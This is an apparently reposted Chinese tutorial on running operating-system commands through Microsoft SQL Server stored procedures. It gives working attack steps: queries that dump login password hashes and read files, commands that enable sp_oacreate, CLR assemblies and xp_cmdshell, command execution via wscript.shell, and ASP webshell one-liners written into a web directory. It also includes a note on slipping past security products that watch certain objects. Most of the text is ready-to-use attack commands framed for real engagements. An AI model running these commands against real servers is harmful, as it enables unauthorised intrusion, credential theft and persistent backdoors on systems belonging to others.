MSSQL存儲過程命令執行


MSSQL存儲過程命令執行

轉載自簡書

基本概念

MSSQL

MSSQL指微軟的SQLServer數據庫服務器,它是一個數據庫平台,提供數據庫的從服務器到終端的完整的解決方案。

組件

組件是對數據和方法的簡單封裝,可以理解為對象。有着自己的屬性和方法。屬性是組件數據的簡單訪問者,而方法就是組件的一些簡單功能。

OLE
OLE是一種面向對象的技術,利用這種技術可重復使用COM組件。

基本查詢命令

#查詢版本信息
select @@version

#查看是否是管理員
select is_srvrolemember('sysadmin')

#查看主機名
select host_name();

#查看服務器名
select @@servername;

#查看用戶hash
select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins

#查看sql server 認證方式
select SERVERPROPERTY('IsIntegratedSecurityOnly') 

#查看目錄結構
#depth設置為1,表示顯示所以子目錄,file設置為1,表示顯示子目錄的文件
execute master..xp_dirtree 'e:\',1,1 列出e盤目錄、文件

#判斷文件是否存在
exec master.sys.xp_fileexist 'e:\web\tmp.asp'

#判斷站庫分離
select host_name();   #查詢客戶端主機名
select @@servername;  #查詢服務端主機名

#查詢文件內容
create table files(line varchar(1024))
bulk insert  files from 'e:\1.txt'
select * from files

存儲過程

存儲過程是一組為了完成某個特定功能的SQL語句。一次編譯永久生效。然后用戶通過指定存儲過程的名字以及參數來執行。
而存儲過程分為:

  1. 系統存儲過程
  2. 本地存儲過程
  3. 擴展存儲過程
  4. 遠程存儲過程
  5. 臨時存儲過程

系統存儲過程

以sp_開頭,進行系統的設定。如:sp_oacreate、sp_oamethod
查看微軟官方文檔為:
sp_oacreate是創建 OLE 對象的實例。
sp_oamethod是調用一個 OLE 對象的方法。

sp_oacreate 執行命令

啟用SP_OACREATE

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;

執行系統命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
Shell.Application //執行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';

需要注意的是該存儲過程執行命令無回顯,所以將命令執行的結果輸出到文件里。
兩個語句中分別使用了wscript.shell、Shell.Application兩個對象,而一些防護產品對該對象比較敏感。
所以有了第二種方法:
同樣也是利用sp_oacreate,但使用的是scripting.filesystemobject對象,該對象用來操作一些文件。
在知道web絕對路徑的情況下,可利用該對象寫入webshell。也是解決不出網的一張方式。

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\tmp.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("x"))%>' 

本地存儲過程

本地存儲過程指用戶創建的自定義存儲過程。如:CLR

CLR,公共語言基礎結構(Common Language Infrastructure),用來支持不同編程語言。sql server集成了該組件,可以通過sql server編寫CLR來執行系統命令。

CLR執行系統命令

  1. 啟用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
  1. 將數據庫標記為安全
ALTER DATABASE master SET TRUSTWORTHY ON;
  1. 利用SQL語句導入程序集
CREATE ASSEMBLY [Database1]
    AUTHORIZATION [dbo]
    FROM 0x4D5A9.............
    WITH PERMISSION_SET = UNSAFE;
GO
  1. 創建存儲過程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
  1. 執行系統命令
exec dbo.ExecCommand "whoami"

WarSQLKit 工具

在看CLR編寫的過程中,順便看到有前輩開發了針對mssql CLR進行利用的滲透工具。
也就是WarSQLKit。github可下載源碼。

  1. 啟用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
  1. 將數據庫標記為安全
ALTER DATABASE master SET TRUSTWORTHY ON;
  1. 利用SQL語句導入程序集
CREATE ASSEMBLY [WarSQLKit]
    AUTHORIZATION [dbo]
    FROM  0x4D5A900003000000.......
    WITH PERMISSION_SET = UNSAFE;
GO

注:這里說一下該十六進制非常長,在WarSQLKit.dacpac文件內
解壓該文件,源碼存放在model.xml文件中

  1. 創建存儲過程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
  1. 執行系統命令
EXEC sp_cmdExec 'whoami';

擴展存儲過程

以xp_開頭,使用外部程序語言編寫的存儲過程。如:xp_cmdshell

xp_cmdshell 執行命令

sql server 2005版本以后默認關閉,需要開啟后使用

  1. 啟用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  1. 執行系統命令
exec master..xp_cmdshell 'whoami'

也可以寫入webshell

exec master..xp_cmdshell 'echo ^<%eval request("x")%^> >e:\shell.aspx'

補充:
實戰中如果出現調用CreateProcess失敗,一般為攔截了xp_cmdshell的調用。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM